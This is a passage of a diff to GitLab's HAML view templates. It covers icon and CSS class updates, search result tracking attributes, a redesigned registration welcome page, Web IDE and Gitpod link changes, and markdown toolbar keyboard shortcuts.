+- can_visit_ide = can_collaborate || current_user&.already_forked?(@project)
.tree-ref-container
.tree-ref-holder
@@ -14,12 +15,12 @@
= render 'projects/find_file_link'
- - if can_collaborate || current_user&.already_forked?(@project)
- #js-tree-web-ide-link.d-inline-block
- - elsif can_create_mr_from_fork
- = link_to '#modal-confirm-fork', class: 'btn btn-default qa-web-ide-button', data: { target: '#modal-confirm-fork', toggle: 'modal'} do
- = _('Web IDE')
- = render 'shared/confirm_fork_modal', fork_path: ide_fork_and_edit_path(@project, @ref, @path)
+ - if can_visit_ide || can_create_mr_from_fork
+ #js-tree-web-ide-link.d-inline-block{ data: { options: vue_ide_link_data(@project, @ref).to_json } }
+ - if !can_visit_ide
+ = render 'shared/confirm_fork_modal', fork_path: ide_fork_and_edit_path(@project, @ref, @path)
+ - unless current_user&.gitpod_enabled
+ = render 'shared/gitpod/enable_gitpod_modal'
- if show_xcode_link?(@project)
.project-action-button.project-xcode.inline<
diff --git a/app/views/projects/tree/_tree_row.html.haml b/app/views/projects/tree/_tree_row.html.haml
index 300cd5423bf..04496914c02 100644
--- a/app/views/projects/tree/_tree_row.html.haml
+++ b/app/views/projects/tree/_tree_row.html.haml
@@ -23,5 +23,5 @@
%td.d-none.d-sm-table-cell.tree-commit
%td.tree-time-ago.text-right
%span.log_loading.hide
- %i.fa.fa-spinner.fa-spin
+ = loading_icon
Loading commit data...
diff --git a/app/views/projects/triggers/_trigger.html.haml b/app/views/projects/triggers/_trigger.html.haml
index 3036e918160..579b8ba2766 100644
--- a/app/views/projects/triggers/_trigger.html.haml
+++ b/app/views/projects/triggers/_trigger.html.haml
@@ -34,4 +34,4 @@
= sprite_icon('pencil')
- if can?(current_user, :manage_trigger, trigger)
= link_to project_trigger_path(@project, trigger), data: { confirm: revoke_trigger_confirmation }, method: :delete, title: "Revoke", class: "btn btn-default btn-warning btn-sm btn-trigger-revoke" do
- %i.fa.fa-trash
+ = sprite_icon('remove')
diff --git a/app/views/registrations/welcome.html.haml b/app/views/registrations/welcome.html.haml
index ef3e0b1b4c0..5ad0fbf8fbc 100644
--- a/app/views/registrations/welcome.html.haml
+++ b/app/views/registrations/welcome.html.haml
@@ -1,22 +1,25 @@
-- content_for(:page_title, _('Welcome to GitLab %{name}!') % { name: current_user.name })
-.text-center.mb-3
- = html_escape(_('In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you.')) % { br_tag: '<br/>'.html_safe }
-.signup-box.p-3.mb-2
- .signup-body
- = form_for(current_user, url: users_sign_up_update_registration_path, html: { class: 'new_new_user gl-show-field-errors', 'aria-live' => 'assertive' }) do |f|
- .devise-errors.mt-0
- = render 'devise/shared/error_messages', resource: current_user
- .form-group
- = f.label :role, _('Role'), class: 'label-bold'
- = f.select :role, ::User.roles.keys.map { |role| [role.titleize, role] }, {}, class: 'form-control'
- .form-group
- = f.label :setup_for_company, _('Are you setting up GitLab for a company?'), class: 'label-bold'
- .d-flex.justify-content-center
- .w-25
- = f.radio_button :setup_for_company, true
- = f.label :setup_for_company, _('Yes'), value: 'true'
- .w-25
- = f.radio_button :setup_for_company, false
- = f.label :setup_for_company, _('No'), value: 'false'
- .submit-container.mt-3
- = f.submit _('Get started!'), class: 'btn-register btn btn-block mb-0 p-2'
+- page_title _('Your profile')
+
+.row.gl-flex-grow-1.gl-bg-gray-10
+ .d-flex.gl-flex-direction-column.gl-align-items-center.gl-w-full.gl-p-5
+ .edit-profile.login-page.d-flex.flex-column.gl-align-items-center.pt-lg-3
+ = render_if_exists "registrations/welcome/progress_bar"
+ %h2.gl-text-center= html_escape(_('Welcome to GitLab%{br_tag}%{name}!')) % { name: html_escape(current_user.first_name), br_tag: '<br/>'.html_safe }
+ %p
+ .gl-text-center= html_escape(_('In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you.')) % { br_tag: '<br/>'.html_safe }
+
+ = form_for(current_user, url: users_sign_up_update_registration_path, html: { class: 'card gl-w-full! gl-p-5', 'aria-live' => 'assertive' }) do |f|
+ .devise-errors
+ = render 'devise/shared/error_messages', resource: current_user
+ .row
+ .form-group.col-sm-12
+ = f.label :role, _('Role'), class: 'label-bold'
+ = f.select :role, ::User.roles.keys.map { |role| [role.titleize, role] }, {}, class: 'form-control', autofocus: true
+ .form-text.gl-text-gray-500.gl-mt-3= _('This will help us personalize your onboarding experience.')
+ = render_if_exists "registrations/welcome/setup_for_company", f: f
+ .row
+ .form-group.col-sm-12.gl-mb-0
+ - if partial_exists? "registrations/welcome/button"
+ = render "registrations/welcome/button"
+ - else
+ = f.submit _('Get started!'), class: 'btn-register btn btn-block gl-mb-0 gl-p-3', data: { qa_selector: 'get_started_button' }
diff --git a/app/views/search/_results.html.haml b/app/views/search/_results.html.haml
index 79f01c61833..e0dbb5135e9 100644
--- a/app/views/search/_results.html.haml
+++ b/app/views/search/_results.html.haml
@@ -22,6 +22,8 @@
= _("in group %{link_to_group}").html_safe % { link_to_group: link_to_group }
= render_if_exists 'shared/promotions/promote_advanced_search'
+ #js-search-filter-by-state{ 'v-cloak': true, data: { scope: @scope, state: params[:state] } }
+
.results.gl-mt-3
- if @scope == 'commits'
%ul.content-list.commit-list
diff --git a/app/views/search/results/_blob_data.html.haml b/app/views/search/results/_blob_data.html.haml
index 218de30d707..27d4dbe1085 100644
--- a/app/views/search/results/_blob_data.html.haml
+++ b/app/views/search/results/_blob_data.html.haml
@@ -1,7 +1,7 @@
.blob-result{ data: { qa_selector: 'result_item_content' } }
.file-holder
.js-file-title.file-title{ data: { qa_selector: 'file_title_content' } }
- = link_to blob_link do
+ = link_to blob_link, data: {track_event: 'click_text', track_label: 'blob_path', track_property: 'search_result'} do
%i.fa.fa-file
%strong
= search_blob_title(project, path)
diff --git a/app/views/search/results/_commit.html.haml b/app/views/search/results/_commit.html.haml
index ed5a3badf11..3e5ea785aae 100644
--- a/app/views/search/results/_commit.html.haml
+++ b/app/views/search/results/_commit.html.haml
@@ -1 +1 @@
-= render 'projects/commits/commit', project: commit.project, commit: commit, ref: nil, show_project_name: @project.nil?
+= render 'projects/commits/commit', project: commit.project, commit: commit, ref: nil, show_project_name: @project.nil?, link_data_attrs: {track_event: 'click_text', track_label: 'commit_title', track_property: 'search_result'}
diff --git a/app/views/search/results/_issue.html.haml b/app/views/search/results/_issue.html.haml
index 2f6024c3f2b..e0336d98f04 100644
--- a/app/views/search/results/_issue.html.haml
+++ b/app/views/search/results/_issue.html.haml
@@ -1,13 +1,14 @@
-.search-result-row
- %h4
- = confidential_icon(issue)
- = link_to project_issue_path(issue.project, issue) do
- %span.term.str-truncated= issue.title
+%div{ class: 'search-result-row gl-pb-3! gl-mt-5 gl-mb-0!' }
+ %span.gl-display-flex.gl-align-items-center
- if issue.closed?
- %span.badge.badge-danger.gl-ml-2= _("Closed")
- .float-right ##{issue.iid}
+ %span.badge.badge-info.badge-pill.gl-badge.sm= _("Closed")
+ - else
+ %span.badge.badge-success.badge-pill.gl-badge.sm= _("Open")
+ = sprite_icon('eye-slash', css_class: 'gl-text-gray-500 gl-ml-2') if issue.confidential?
+ = link_to project_issue_path(issue.project, issue), data: { track_event: 'click_text', track_label: 'issue_title', track_property: 'search_result' }, class: 'gl-w-full' do
+ %span.term.str-truncated.gl-font-weight-bold.gl-ml-2= issue.title
+ .gl-text-gray-500.gl-my-3
+ = sprintf(s_(' %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}'), { project_name: issue.project.full_name, issue_iid: issue.iid, issue_created: time_ago_with_tooltip(issue.created_at, placement: 'bottom'), author: link_to_member(@project, issue.author, avatar: false) }).html_safe
- if issue.description.present?
- .description.term
- = search_md_sanitize(issue, :description)
- %span.light
- #{issue.project.full_name}
+ .description.term.col-sm-10.gl-px-0
+ = truncate(issue.description, length: 200)
diff --git a/app/views/search/results/_merge_request.html.haml b/app/views/search/results/_merge_request.html.haml
index 680c2ea0208..3135ab9a17e 100644
--- a/app/views/search/results/_merge_request.html.haml
+++ b/app/views/search/results/_merge_request.html.haml
@@ -1,6 +1,6 @@
.search-result-row
%h4
- = link_to project_merge_request_path(merge_request.target_project, merge_request) do
+ = link_to project_merge_request_path(merge_request.target_project, merge_request), data: {track_event: 'click_text', track_label: 'merge_request_title', track_property: 'search_result'} do
%span.term.str-truncated= merge_request.title
- if merge_request.merged?
%span.badge.badge-primary.gl-ml-2= _("Merged")
@@ -9,6 +9,6 @@
.float-right= merge_request.to_reference
- if merge_request.description.present?
.description.term
- = search_md_sanitize(merge_request, :description)
+ = search_md_sanitize(merge_request.description)
%span.light
#{merge_request.project.full_name}
diff --git a/app/views/search/results/_milestone.html.haml b/app/views/search/results/_milestone.html.haml
index 53c2d380bc5..6d4ce88a377 100644
--- a/app/views/search/results/_milestone.html.haml
+++ b/app/views/search/results/_milestone.html.haml
@@ -1,8 +1,8 @@
.search-result-row
%h4
- = link_to project_milestone_path(milestone.project, milestone) do
+ = link_to project_milestone_path(milestone.project, milestone), data: {track_event: 'click_text', track_label: 'milestone_title', track_property: 'search_result'} do
%span.term.str-truncated= milestone.title
- if milestone.description.present?
.description.term
- = search_md_sanitize(milestone, :description)
+ = search_md_sanitize(milestone.description)
diff --git a/app/views/search/results/_note.html.haml b/app/views/search/results/_note.html.haml
index a83b003a516..d88b7b32ed6 100644
--- a/app/views/search/results/_note.html.haml
+++ b/app/views/search/results/_note.html.haml
@@ -18,8 +18,13 @@
- else
%span #{note.noteable_type.titleize} ##{noteable_identifier}
&middot;
- = link_to note.noteable.title, note_url
+ = link_to note.noteable.title, note_url, data: {track_event: 'click_text', track_label: 'noteable_title', track_property: 'search_result'}
+
+ %span.note-headline-light.note-headline-meta
+ %span.system-note-separator
+ &middot;
+ %span.system-note-separator= time_ago_with_tooltip(note.created_at, placement: 'bottom', html_class: 'note-created-ago')
.note-search-result
.term
- = search_md_sanitize(note, :note)
+ = search_md_sanitize(note.note)
diff --git a/app/views/shared/_auto_devops_callout.html.haml b/app/views/shared/_auto_devops_callout.html.haml
index bf1683be32d..443d801d672 100644
--- a/app/views/shared/_auto_devops_callout.html.haml
+++ b/app/views/shared/_auto_devops_callout.html.haml
@@ -12,4 +12,4 @@
%button.gl-banner-close.close.js-close-callout{ type: 'button',
'aria-label' => s_('AutoDevOps|Dismiss Auto DevOps box') }
- = icon('times', class: 'dismiss-icon', 'aria-hidden' => 'true')
+ = sprite_icon('close', size: 16, css_class: 'dismiss-icon')
diff --git a/app/views/shared/_broadcast_message.html.haml b/app/views/shared/_broadcast_message.html.haml
index e313946a968..7be11b0fb81 100644
--- a/app/views/shared/_broadcast_message.html.haml
+++ b/app/views/shared/_broadcast_message.html.haml
@@ -2,11 +2,11 @@
%div{ class: "broadcast-message #{'alert-warning' if is_banner} broadcast-#{message.broadcast_type}-message #{opts[:preview] && 'preview'} js-broadcast-notification-#{message.id} gl-display-flex",
style: broadcast_message_style(message), dir: 'auto' }
- .flex-grow-1.text-right.pr-2
+ .gl-flex-grow-1.gl-text-right.gl-pr-3
= sprite_icon('bullhorn', css_class: 'vertical-align-text-top')
%div{ class: !fluid_layout && 'container-limited' }
= render_broadcast_message(message)
- .flex-grow-1.text-right{ style: 'flex-basis: 0' }
+ .gl-flex-grow-1.gl-flex-basis-0.gl-text-right
- if (message.notification? || message.dismissable?) && opts[:preview].blank?
- %button.broadcast-message-dismiss.js-dismiss-current-broadcast-notification.btn.btn-link.pl-2.pr-2{ 'aria-label' => _('Close'), :type => 'button', data: { id: message.id, expire_date: message.ends_at.iso8601 } }
- %i.fa.fa-times
+ %button.broadcast-message-dismiss.js-dismiss-current-broadcast-notification.btn.btn-link.gl-button{ 'aria-label' => _('Close'), :type => 'button', data: { id: message.id, expire_date: message.ends_at.iso8601 } }
+ = sprite_icon('close', size: 16, css_class: 'gl-icon gl-text-white gl-mx-3!')
diff --git a/app/views/shared/_file_highlight.html.haml b/app/views/shared/_file_highlight.html.haml
index a99c992af49..7d328728332 100644
--- a/app/views/shared/_file_highlight.html.haml
+++ b/app/views/shared/_file_highlight.html.haml
@@ -1,4 +1,4 @@
-.file-content.code.js-syntax-highlight
+#blob-content.file-content.code.js-syntax-highlight
.line-numbers
- if blob.data.present?
- link_icon = sprite_icon('link', size: 12)
diff --git a/app/views/shared/_group_form.html.haml b/app/views/shared/_group_form.html.haml
index d497937833a..ca603eed703 100644
--- a/app/views/shared/_group_form.html.haml
+++ b/app/views/shared/_group_form.html.haml
@@ -34,10 +34,12 @@
%p.validation-pending.gl-field-error-ignore.field-validation.hide= _('Checking group URL availability...')
- if @group.persisted?
- .alert.alert-warning.gl-mt-3
- = _('Changing group URL can have unintended side effects.')
- = succeed '.' do
- = link_to _('Learn more'), help_page_path('user/group/index', anchor: 'changing-a-groups-path'), target: '_blank'
+ .gl-alert.gl-alert-warning.gl-mt-3.gl-mb-3
+ = sprite_icon('warning', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-body
+ = _('Changing group URL can have unintended side effects.')
+ = succeed '.' do
+ = link_to _('Learn more'), help_page_path('user/group/index', anchor: 'changing-a-groups-path'), target: '_blank', class: 'gl-link'
- if @group.persisted?
.row
diff --git a/app/views/shared/_help_dropdown_forum_link.html.haml b/app/views/shared/_help_dropdown_forum_link.html.haml
new file mode 100644
index 00000000000..351c875475a
--- /dev/null
+++ b/app/views/shared/_help_dropdown_forum_link.html.haml
@@ -0,0 +1,2 @@
+= link_to _("Community forum"), "https://forum.gitlab.com/", target: '_blank', class: 'text-nowrap',
+ rel: 'noopener noreferrer', data: { 'track_event': 'click_forum', 'track_property': 'question_menu' }
diff --git a/app/views/shared/_no_password.html.haml b/app/views/shared/_no_password.html.haml
index 9b1a467df6b..76ae63ca5e8 100644
--- a/app/views/shared/_no_password.html.haml
+++ b/app/views/shared/_no_password.html.haml
@@ -1,9 +1,12 @@
- if show_no_password_message?
- .no-password-message.alert.alert-warning
- - translation_params = { protocol: gitlab_config.protocol.upcase, set_password_link: link_to_set_password }
- - set_password_message = _("You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account") % translation_params
- = set_password_message.html_safe
- .alert-link-group
- = link_to _("Don't show again"), profile_path(user: {hide_no_password: true}), method: :put
- |
- = link_to _('Remind later'), '#', class: 'hide-no-password-message'
+ .no-password-message.gl-alert.gl-alert-warning
+ = sprite_icon('warning', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label': _('Dismiss') }
+ = sprite_icon('close', size: 16, css_class: 'gl-icon')
+ .gl-alert-body
+ - translation_params = { protocol: gitlab_config.protocol.upcase, set_password_link: link_to_set_password }
+ - set_password_message = _("You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account") % translation_params
+ = set_password_message.html_safe
+ .gl-alert-actions
+ = link_to _('Remind later'), '#', class: 'hide-no-password-message btn gl-alert-action btn-info btn-md gl-button'
+ = link_to _("Don't show again"), profile_path(user: {hide_no_password: true}), method: :put, role: 'button', class: 'btn gl-alert-action btn-md btn-default gl-button btn-default-secondary'
diff --git a/app/views/shared/_no_ssh.html.haml b/app/views/shared/_no_ssh.html.haml
index abf39fdc644..a083a772233 100644
--- a/app/views/shared/_no_ssh.html.haml
+++ b/app/views/shared/_no_ssh.html.haml
@@ -7,4 +7,4 @@
= s_("MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile").html_safe
.gl-alert-actions
= link_to s_('MissingSSHKeyWarningLink|Add SSH key'), profile_keys_path, class: "btn gl-alert-action btn-warning btn-md new-gl-button"
- = link_to s_("MissingSSHKeyWarningLink|Don't show again"), profile_path(user: {hide_no_ssh_key: true}), method: :put, role: 'button', class: 'btn gl-alert-action btn-md btn-warning btn-secondary new-gl-button'
+ = link_to s_("MissingSSHKeyWarningLink|Don't show again"), profile_path(user: {hide_no_ssh_key: true}), method: :put, role: 'button', class: 'btn gl-alert-action btn-md btn-warning gl-button btn-warning-secondary'
diff --git a/app/views/shared/_old_visibility_level.html.haml b/app/views/shared/_old_visibility_level.html.haml
index e8f3d888cce..8a9cc7ab8a2 100644
--- a/app/views/shared/_old_visibility_level.html.haml
+++ b/app/views/shared/_old_visibility_level.html.haml
@@ -1,6 +1,6 @@
.form-group.row
.col-sm-2.col-form-label
= _('Visibility level')
- = link_to icon('question-circle'), help_page_path("public_access/public_access"), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('public_access/public_access'), target: '_blank'
.col-sm-10
= render 'shared/visibility_level', f: f, visibility_level: visibility_level, can_change_visibility_level: can_change_visibility_level, form_model: form_model, with_label: with_label
diff --git a/app/views/shared/_outdated_browser.html.haml b/app/views/shared/_outdated_browser.html.haml
index 624cc99440c..f5a32050a79 100644
--- a/app/views/shared/_outdated_browser.html.haml
+++ b/app/views/shared/_outdated_browser.html.haml
@@ -2,14 +2,7 @@
.gl-alert.gl-alert-danger.outdated-browser{ :role => "alert" }
= sprite_icon('error', css_class: "gl-alert-icon gl-alert-icon-no-title gl-icon")
.gl-alert-body
- - if browser.ie? && browser.version.to_i == 11
- - feedback_link_url = 'https://gitlab.com/gitlab-org/gitlab/issues/197987'
- - feedback_link_start = '<a href="%{url}" class="gl-link" target="_blank" rel="noopener noreferrer">'.html_safe % { url: feedback_link_url }
- = s_('OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11.')
- %br
- = s_('OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels.').html_safe % { feedback_link_start: feedback_link_start, feedback_link_end: '</a>'.html_safe }
- - else
- = s_('OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser.')
+ = s_('OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser.')
%br
- browser_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path('install/requirements', anchor: 'supported-web-browsers') }
= s_('OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience.').html_safe % { browser_link_start: browser_link_start, browser_link_end: '</a>'.html_safe }
diff --git a/app/views/shared/_project_limit.html.haml b/app/views/shared/_project_limit.html.haml
index 88f213612fc..3d5229f87b5 100644
--- a/app/views/shared/_project_limit.html.haml
+++ b/app/views/shared/_project_limit.html.haml
@@ -1,5 +1,5 @@
- if cookies[:hide_project_limit_message].blank? && !current_user.hide_project_limit && !current_user.can_create_project? && current_user.projects_limit > 0
- .project-limit-message.alert.alert-warning.d-none.d-sm-block
+ .project-limit-message.gl-alert.gl-alert-warning.gl-display-none.gl-display-sm-block
= _("You won't be able to create new projects because you have reached your project limit.")
.float-right
diff --git a/app/views/shared/_service_settings.html.haml b/app/views/shared/_service_settings.html.haml
index 2425bcf61d9..647421a8fbe 100644
--- a/app/views/shared/_service_settings.html.haml
+++ b/app/views/shared/_service_settings.html.haml
@@ -8,6 +8,6 @@
= markdown integration.help
.service-settings
- - if @admin_integration
- .js-vue-admin-integration-settings{ data: integration_form_data(@admin_integration) }
+ - if @default_integration
+ .js-vue-default-integration-settings{ data: integration_form_data(@default_integration) }
.js-vue-integration-settings{ data: integration_form_data(integration) }
diff --git a/app/views/shared/_zen.html.haml b/app/views/shared/_zen.html.haml
index 66e0ecadb65..9cf189e8120 100644
--- a/app/views/shared/_zen.html.haml
+++ b/app/views/shared/_zen.html.haml
@@ -16,4 +16,4 @@
- else
= text_area_tag attr, current_text, data: { qa_selector: qa_selector }, class: classes, placeholder: placeholder
%a.zen-control.zen-control-leave.js-zen-leave.gl-text-gray-500{ href: "#" }
- = sprite_icon('compress')
+ = sprite_icon('minimize')
diff --git a/app/views/shared/access_tokens/_table.html.haml b/app/views/shared/access_tokens/_table.html.haml
index ceac4d1820d..255ec9995db 100644
--- a/app/views/shared/access_tokens/_table.html.haml
+++ b/app/views/shared/access_tokens/_table.html.haml
@@ -18,7 +18,7 @@
%th= s_('AccessTokens|Created')
%th
= _('Last Used')
- = link_to icon('question-circle'), help_page_path('user/profile/personal_access_tokens.md', anchor: 'token-activity'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('user/profile/personal_access_tokens.md', anchor: 'token-activity'), target: '_blank'
%th= _('Expires')
%th= _('Scopes')
%th
@@ -35,7 +35,7 @@
%td
- if token.expires?
- if token.expires_at.past? || token.expires_at.today?
- %span{ class: 'text-danger has-tooltip', title: _('Expiration not enforced') }
+ %span{ class: 'text-danger has-tooltip', title: _('Token valid until revoked') }
= _('Expired')
- else
%span{ class: ('text-warning' if token.expires_soon?) }
diff --git a/app/views/shared/blob/_markdown_buttons.html.haml b/app/views/shared/blob/_markdown_buttons.html.haml
index c1ffdc7184a..085206714c6 100644
--- a/app/views/shared/blob/_markdown_buttons.html.haml
+++ b/app/views/shared/blob/_markdown_buttons.html.haml
@@ -1,13 +1,25 @@
+- modifier_key = client_js_flags[:isMac] ? '⌘' : s_('KeyboardKey|Ctrl+');
+
.md-header-toolbar.active
- = markdown_toolbar_button({ icon: "bold", data: { "md-tag" => "**" }, title: _("Add bold text") })
- = markdown_toolbar_button({ icon: "italic", data: { "md-tag" => "*" }, title: _("Add italic text") })
+ = markdown_toolbar_button({ icon: "bold",
+ data: { "md-tag" => "**", "md-shortcuts": '["mod+b"]' },
+ title: sprintf(s_("MarkdownEditor|Add bold text (%{modifier_key}B)") % { modifier_key: modifier_key }) })
+
+ = markdown_toolbar_button({ icon: "italic",
+ data: { "md-tag" => "_", "md-shortcuts": '["mod+i"]' },
+ title: sprintf(s_("MarkdownEditor|Add italic text (%{modifier_key}I)") % { modifier_key: modifier_key }) })
+
= markdown_toolbar_button({ icon: "quote", data: { "md-tag" => "> ", "md-prepend" => true }, title: _("Insert a quote") })
= markdown_toolbar_button({ icon: "code", data: { "md-tag" => "`", "md-block" => "```" }, title: _("Insert code") })
- = markdown_toolbar_button({ icon: "link", data: { "md-tag" => "[{text}](url)", "md-select" => "url" }, title: _("Add a link") })
+
+ = markdown_toolbar_button({ icon: "link",
+ data: { "md-tag" => "[{text}](url)", "md-select" => "url", "md-shortcuts": '["mod+k"]' },
+ title: sprintf(s_("MarkdownEditor|Add a link (%{modifier_key}K)") % { modifier_key: modifier_key }) })
+
= markdown_toolbar_button({ icon: "list-bulleted", data: { "md-tag" => "- ", "md-prepend" => true }, title: _("Add a bullet list") })
= markdown_toolbar_button({ icon: "list-numbered", data: { "md-tag" => "1. ", "md-prepend" => true }, title: _("Add a numbered list") })
= markdown_toolbar_button({ icon: "list-task", data: { "md-tag" => "- [ ] ", "md-prepend" => true }, title: _("Add a task list") })
= markdown_toolbar_button({ icon: "table", data: { "md-tag" => "| header | header |\n| ------ | ------ |\n| cell | cell |\n| cell | cell |", "md-prepend" => true }, title: _("Add a table") })
- if show_fullscreen_button
%button.toolbar-btn.toolbar-fullscreen-btn.js-zen-enter.has-tooltip{ type: "button", tabindex: -1, "aria-label": "Go full screen", title: _("Go full screen"), data: { container: "body" } }
- = sprite_icon("screen-full")
+ = sprite_icon("maximize")
diff --git a/app/views/shared/boards/_show.html.haml b/app/views/shared/boards/_show.html.haml
index 7a4c495e177..e5808bfe878 100644
--- a/app/views/shared/boards/_show.html.haml
+++ b/app/views/shared/boards/_show.html.haml
@@ -2,7 +2,6 @@
- group = local_assigns.fetch(:group, false)
-# TODO: Move group_id and can_admin_list to the board store
See: https://gitlab.com/gitlab-org/gitlab/-/issues/213082
-- group_id = @group&.id || "null"
- can_admin_list = can?(current_user, :admin_list, current_board_parent) == true
- @no_breadcrumb_container = true
- @no_container = true
@@ -12,23 +11,18 @@
- content_for :page_specific_javascripts do
- -# haml-lint:disable InlineJavaScript
%script#js-board-modal-filter{ type: "text/x-template" }= render "shared/issuable/search_bar", type: :boards_modal, show_sorting_dropdown: false
%script#js-board-promotion{ type: "text/x-template" }= render_if_exists "shared/promotions/promote_issue_board"
#board-app.boards-app.position-relative{ "v-cloak" => "true", data: board_data, ":class" => "{ 'is-compact': detailIssueVisible }" }
= render 'shared/issuable/search_bar', type: :boards, board: board
- - if Feature.enabled?(:boards_with_swimlanes, current_board_parent)
+ - if Feature.enabled?(:boards_with_swimlanes, current_board_parent) || Feature.enabled?(:graphql_board_lists, current_board_parent)
%board-content{ "v-cloak" => "true",
"ref" => "board_content",
":lists" => "state.lists",
":can-admin-list" => can_admin_list,
- ":group-id" => group_id,
- ":disabled" => "disabled",
- ":issue-link-base" => "issueLinkBase",
- ":root-path" => "rootPath",
- ":board-id" => "boardId" }
+ ":disabled" => "disabled" }
- else
.boards-list.w-100.py-3.px-2.text-nowrap{ data: { qa_selector: "boards_list" } }
.boards-app-loading.w-100.text-center{ "v-if" => "loading" }
@@ -37,12 +31,8 @@
"v-for" => "list in state.lists",
"ref" => "board",
":can-admin-list" => can_admin_list,
- ":group-id" => group_id,
":list" => "list",
":disabled" => "disabled",
- ":issue-link-base" => "issueLinkBase",
- ":root-path" => "rootPath",
- ":board-id" => "boardId",
":key" => "list.id" }
= render "shared/boards/components/sidebar", group: group
= render_if_exists 'shared/boards/components/board_settings_sidebar'
@@ -51,6 +41,4 @@
"milestone-path" => milestones_filter_dropdown_path,
"label-path" => labels_filter_path_with_defaults,
"empty-state-svg" => image_path('illustrations/issues.svg'),
- ":issue-link-base" => "issueLinkBase",
- ":root-path" => "rootPath",
":project-id" => @project.id }
diff --git a/app/views/shared/boards/_switcher.html.haml b/app/views/shared/boards/_switcher.html.haml
index 09a365a290a..58e877f20fe 100644
--- a/app/views/shared/boards/_switcher.html.haml
+++ b/app/views/shared/boards/_switcher.html.haml
@@ -10,6 +10,7 @@
can_admin_board: can?(current_user, :admin_board, parent).to_s,
multiple_issue_boards_available: parent.multiple_issue_boards_available?.to_s,
labels_path: labels_filter_path_with_defaults(only_group_labels: true, include_descendant_groups: true),
+ labels_web_url: parent.is_a?(Project) ? project_labels_path(@project) : group_labels_path(@group),
project_id: @project&.id,
group_id: @group&.id,
scoped_issue_board_feature_enabled: Gitlab.ee? && parent.feature_available?(:scoped_issue_board) ? 'true' : 'false',
diff --git a/app/views/shared/boards/components/sidebar/_milestone.html.haml b/app/views/shared/boards/components/sidebar/_milestone.html.haml
index 510e05ce888..2c894e9b1b3 100644
--- a/app/views/shared/boards/components/sidebar/_milestone.html.haml
+++ b/app/views/shared/boards/components/sidebar/_milestone.html.haml
@@ -16,9 +16,10 @@
name: "issue[milestone_id]",
"v-if" => "issue.milestone" }
.dropdown
- %button.dropdown-menu-toggle.js-milestone-select.js-issue-board-sidebar{ type: "button", data: { toggle: "dropdown", show_no: "true", field_name: "issue[milestone_id]", milestones: milestones_filter_path(format: :json), ability_name: "issue", use_id: "true", default_no: "true" },
+ %button.dropdown-menu-toggle.js-milestone-select.js-issue-board-sidebar{ type: "button", data: { toggle: "dropdown", show_no: "true", field_name: "issue[milestone_id]", ability_name: "issue", use_id: "true", default_no: "true" },
":data-selected" => "milestoneTitle",
- ":data-issuable-id" => "issue.iid" }
+ ":data-issuable-id" => "issue.iid",
+ ":data-project-id" => "issue.project_id" }
= _("Milestone")
= icon("chevron-down")
.dropdown-menu.dropdown-select.dropdown-menu-selectable
diff --git a/app/views/shared/deploy_tokens/_form.html.haml b/app/views/shared/deploy_tokens/_form.html.haml
index 1eda439c9a5..cc5addaa3a0 100644
--- a/app/views/shared/deploy_tokens/_form.html.haml
+++ b/app/views/shared/deploy_tokens/_form.html.haml
@@ -35,6 +35,7 @@
= label_tag ("deploy_token_write_registry"), 'write_registry', class: 'label-bold form-check-label'
.text-secondary= s_('DeployTokens|Allows write access to the registry images')
+ - if packages_registry_enabled?(group_or_project)
%fieldset.form-group.form-check
= f.check_box :read_package_registry, class: 'form-check-input'
= label_tag ("deploy_token_read_package_registry"), 'read_package_registry', class: 'label-bold form-check-label'
diff --git a/app/views/shared/empty_states/_issues.html.haml b/app/views/shared/empty_states/_issues.html.haml
index 3fd64291fb2..8c5319e2178 100644
--- a/app/views/shared/empty_states/_issues.html.haml
+++ b/app/views/shared/empty_states/_issues.html.haml
@@ -51,7 +51,7 @@
%strong
= s_('JiraService|Using Jira for issue tracking?')
%p.gl-text-center.gl-mb-0
- - jira_docs_link_url = help_page_url('user/project/integrations/jira', anchor: 'view-jira-issues-premium')
+ - jira_docs_link_url = help_page_url('user/project/integrations/jira', anchor: 'view-jira-issues')
- jira_docs_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: jira_docs_link_url }
= html_escape(s_('JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab.')) % { jira_docs_link_start: jira_docs_link_start.html_safe, jira_docs_link_end: '</a>'.html_safe }
%p.gl-text-center.gl-mb-0.gl-text-gray-500
diff --git a/app/views/shared/form_elements/_apply_template_warning.html.haml b/app/views/shared/form_elements/_apply_template_warning.html.haml
index 09ca59a520c..b1edfba6df4 100644
--- a/app/views/shared/form_elements/_apply_template_warning.html.haml
+++ b/app/views/shared/form_elements/_apply_template_warning.html.haml
@@ -1,4 +1,4 @@
-.form-group.row.js-template-warning.mb-0.hidden.js-issuable-template-warning
+.form-group.row.js-template-warning.mb-0.hidden.js-issuable-template-warning{ :class => ("gl-mb-5!" if issuable.supports_issue_type? && can?(current_user, :admin_issue, @project)) }
.offset-sm-2.col-sm-10
.warning_message.mb-0{ role: 'alert' }
diff --git a/app/views/shared/gitpod/_enable_gitpod_modal.html.haml b/app/views/shared/gitpod/_enable_gitpod_modal.html.haml
new file mode 100644
index 00000000000..a6bd1d10e43
--- /dev/null
+++ b/app/views/shared/gitpod/_enable_gitpod_modal.html.haml
@@ -0,0 +1,12 @@
+#modal-enable-gitpod.modal.qa-enable-gitpod-modal
+ .modal-dialog
+ .modal-content
+ .modal-header
